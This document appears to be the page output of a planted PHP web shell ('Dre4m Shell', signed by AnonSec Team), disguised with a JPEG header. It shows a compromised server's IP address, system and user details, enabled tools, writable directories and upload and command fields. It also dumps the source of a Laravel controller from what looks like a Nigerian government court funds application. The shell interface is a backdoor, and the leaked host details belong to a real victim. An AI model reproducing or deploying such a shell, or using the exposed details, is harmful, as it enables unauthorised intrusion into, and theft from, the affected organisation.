ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.62.167
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/DetailOfServiceController.php
<?php

namespace App\Http\Controllers;
use Session;
use Illuminate\Http\Request;
use App\Http\Requests;
use App\Http\Controllers;
use Auth;
use DB;

class DetailOfServiceController extends ParentController
{

    public function __construct(Request $request)
    {
        $this->division    = $request->session()->get('division');
        $this->divisionID  = $request->session()->get('divisionID');
    }   

   
    public function index($fileNo = Null)
    {
        //check if parameters are Null
        if(is_null($fileNo) && (DB::table('tblper')->where('fileNo', '=', $fileNo)->first())){
            return redirect('/profile/details');
        }
         //set session
         Session::put('fileNo', $fileNo);
        $data['names'] = DB::table('tblper')->where('fileNo', '=', $fileNo)->first();
        if(!(DB::table('detailsofservice')->where('fileNo', '=', $fileNo)->first())){
            $data['doservice']    = '';
            $data['dosList']      = '';
            return view('DetailsOfService.update', $data);
        }
        else{
            $data['doservice']  = "";
            $data['dosList']    = DB::table('detailsofservice')->where('fileNo', '=', $fileNo)->get();
            //
            return view('DetailsOfService.update', $data);
        }
    }



     public function view($dosid = Null)
    {
        //
        $fileNo = Session::get('fileNo');
        if(is_null($dosid)){
            return redirect('/update/detailofservice/'.$fileNo);
        }
        if( !(DB::table('detailsofservice')->where('fileNo', '=', $fileNo)->where('dosid', $dosid)->first())){
           return redirect('/update/detail-service/'.$fileNo);
        }//
        $data['names'] = DB::table('tblper')->where('fileNo', '=', $fileNo)->first();
        if(!(DB::table('detailsofservice')->where('dosid', '=', $dosid)->first())){
            $data['dosList']    = "";
            $data['doservice']  =  "";
            return view('DetailsOfService.update', $data);
        }
        else{
            $data['doservice']  = DB::table('detailsofservice')->where('fileNo','=',$fileNo)->where('dosid','=',$dosid)->first();
            $data['dosList']    = DB::table('detailsofservice')->where('fileNo','=',$fileNo)->get();
            //
            return view('DetailsOfService.update', $data);
        }
    }




    public function update(Request $request)
    {
        $fileNo = Session::get('fileNo');
         $this->validate($request, 
        [
            'armofservice'          => 'required|regex:/^[A-Za-z0-9\-! ,\'\"\/@\.:\(\)]+$/',
            'servicenum'            => 'regex:/^[A-Za-z0-9\-! ,\'\"\/@\.:\(\)]+$/',
            'lastunit'              => 'regex:/^[A-Za-z0-9\-! ,\'\"\/@\.:\(\)]+$/',
            'reason'                => 'required|string',
        ]);
        $arm                        = trim($request['armofservice']);
        $servicenum                 = trim($request['servicenum']);
        $lastunit                   = trim($request['lastunit']);
        $reason                     = trim($request['reason']);
        $dosid                      = trim($request['dosid']);
        $hiddenName                 = trim($request['hiddenName']);
        $date                       = date("Y-m-d");
        
        if($hiddenName <> ""){
            DB::table('detailsofservice')->where('dosid', '=', $dosid)->where('fileNo', '=', $fileNo)->update(array(  
                'fileNo'             => $fileNo, 
                'serviceNumber'      =>$servicenum,
                'armOfservice'       => $arm, 
                'lastUnit'           => $lastunit, 
                'reasonForLeaving'   => $reason
            ));
            $this->addLog('Details of service updated ID: '.$dosid .' and division: ' . $this->division);
        }
        else{                                           
           //insert if hidden Name is empty
            DB::table('detailsofservice')->insert(array( 
                'fileNo'             => $fileNo,
                'serviceNumber'      => $servicenum, 
                'armOfservice'       => $arm, 
                'lastUnit'           => $lastunit, 
                'reasonForLeaving'   => $reason
            ));
            $this->addLog('Details of service added and division: ' . $this->division);
        }
        return redirect('/update/detail-service/'.$fileNo)->with('msg', 'Operation was done successfully.');
    }

    
    public function destroy($fileNo,$dosid)
    {
        $fileNo = Session::get('fileNo');
        if(is_null($fileNo) || is_null($dosid)){
            $data['doservice']    = DB::table('detailsofservice')->where('fileNo', '=', $fileNo)->first();
            $data['dosList']      = DB::table('detailsofservice')->where('fileNo', '=', $fileNo)->get();
            return view('detailofservice.update', $data);
        }
        //delete
        DB::table('detailsofservice')->where('fileNo', '=', $fileNo)->where('dosid', '=', $dosid)->delete();
        $this->addLog('detail of Service deleted and division: ' . $this->division);
        //check if parameters exist in DB
        if(!(DB::table('detailsofservice')->where('fileNo', '=', $fileNo)->first())){
            return view('main.userArea');
        }
        //populate return view('main.userArea');
        //$data['nextOfKin']   = DB::table('tblnextofkin')->where('userID', '=', $userID)->first();
        $data['dosList']     = DB::table('detailsofservice')->where('fileNo', '=', $fileNo)->get();
        $data['doservice']   = "";
        return view('details-service.update', $data)->with('msg', 'Operation was done successfully.');

    }


    //Details of service in force Report
    public function report($fileNo = null)
    {
        if(is_null($fileNo)){
            return redirect('profile/details');
        }
        if( !(DB::table('tblper')->where('fileNo', '=', $fileNo)->first())){
            return redirect('profile/details');
        }else{
            $data['staffFullDetailsDetailsService'] = DB::table('detailsofservice')
                    ->where('fileNo', '=', $fileNo)
                    ->orderBy('dosid', 'Desc')
                    ->get();
            $data['staffFullDetails'] = DB::table('tblper')
                    ->join('tbldivision', 'tbldivision.divisionID', '=', 'tblper.divisionID')
                    ->join('tblbanklist', 'tblbanklist.bankID', '=', 'tblper.bankID')
                    ->where('tblper.fileNo', '=', $fileNo)
                    ->first();
        }
        return view('Report.DetailsServiceForceReport', $data);
    }


}

Anon7 - 2022
AnonSec Team